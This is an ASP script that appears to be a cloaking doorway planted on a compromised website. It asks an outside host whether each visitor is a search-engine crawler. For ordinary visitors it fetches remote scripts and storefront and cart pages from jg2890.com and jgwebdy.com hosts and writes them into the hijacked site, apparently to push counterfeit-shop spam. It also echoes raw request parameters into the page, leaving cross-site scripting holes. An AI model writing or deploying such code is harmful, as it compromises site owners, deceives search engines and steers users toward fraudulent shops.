<%
Function getHTTPPage(url)
On Error Resume Next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.setRequestHeader "User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0"
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
set http=nothing
If Err.number<>0 then
Response.Write "
"
Response.end
Err.Clear
End If
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Randomize
%>
<%
if request("kk")<>"" then
ip="66.249.64.190"
else
ip=Request.ServerVariables("REMOTE_ADDR")
end if
ipurl="http://jd.cdoi09.fr/getdomain.aspx?rnd=1&ip="&ip
domain =getHTTPPage(ipurl)
if(instr(domain,"google")=0 and instr(domain,"bing")=0 and instr(domain,"yahoo")=0 and instr(domain,"aol")=0) and instr(domain,"msn.com")=0 then
if request("shop")<>"" then
ddd=getHTTPPage("http://js.jg2890.com/buytz.txt")
ddd=ddd&"?cid=8&cname="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc")
Response.write ""
end if
if request("searchtxt")<>"" then
ddd=getHTTPPage("http://js.jg2890.com/buytz.txt")
ddd=ddd&"?cid=8&cname="&Server.URLEncode(request("searchtxt"))&"&xi="&request("xi")&"&xc="&request("xc")
Response.write ""
end if
end if
%>
Buy > <%=request("shop")%> | <%=request("searchtxt")%>
"/>
> <%=INT((65-50+1)*RND+50)%>% OFF, More styles available,Cheaper than wholesale Price > Free Priority Shipping |Shopping in <%=request("searchtxt")%> today!" />
<%
Dim Url,Html,hyzhdy
hyzhdy="https://jg2020.jgwebdy.com/GD_Page.aspx"
if request("type")<>"" then
if(request("type")="addtocart") then
URL="https://jg2020.jgwebdy.com/cart.aspx?gj=com"
con=getHTTPPage(URL)
con=Replace(con, "pppid", request("pid"))
con=Replace(con, "tupian", request("pic"))
con=Replace(con, "mingzi", request("pname"))
con=Replace(con, "danjia", request("price"))
con=Replace(con, "shuliang", "1")
con=Replace(con, "zongjia", request("price"))
con=Replace(con, "cima", request("s1"))
con=Replace(con, "curfh", request("fh"))
con=Replace(con, "pricetype", request("pricetype"))
con=Replace(con, "ZZZZZ",getHTTPPage("https://jgdy.jgwebdy.com/lydy/tz.txt"))
Response.write con
else if(request("type")="search") then
URL=hyzhdy&"?cid=8&xi=1-5&xc=12-15&searchtxt="&request("searchtxt")&"&you=0page="&Request.ServerVariables("SCRIPT_NAME")
con=getHTTPPage(URL)
Response.write con
end if
end if
else
if request("shop")<>"" then
URL=hyzhdy&"?cid=8&shop="&Server.URLEncode(request("shop"))&"&xi="&request("xi")&"&xc="&request("xc")&"&pl="&request("pl")&"&pr="&request("pr")&"&mt=https://jgdy.jgwebdy.com/jgdy/enjk8.txt"
else
URL=hyzhdy&"?cid=8&xi=1-5&xc=12-15&pnum="&request("pnum")&"&you=0page="&Request.ServerVariables("SCRIPT_NAME")
end if
con=getHTTPPage(URL)
con=Replace(con, "HHHHH", Request.ServerVariables("SCRIPT_NAME"))
con=Replace(con, "BBBBB", Request.ServerVariables("HTTP_HOST"))
con=Replace(con, "AAAAA", Request.ServerVariables("SCRIPT_NAME")&"?gj=com&type=addtocart")
con=Replace(con, "DDDDD", request("shop")&" ")
con=Replace(con, "QQQQQ", "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO")&"?"&Request.ServerVariables("QUERY_STRING"))
Response.write con
end if
%>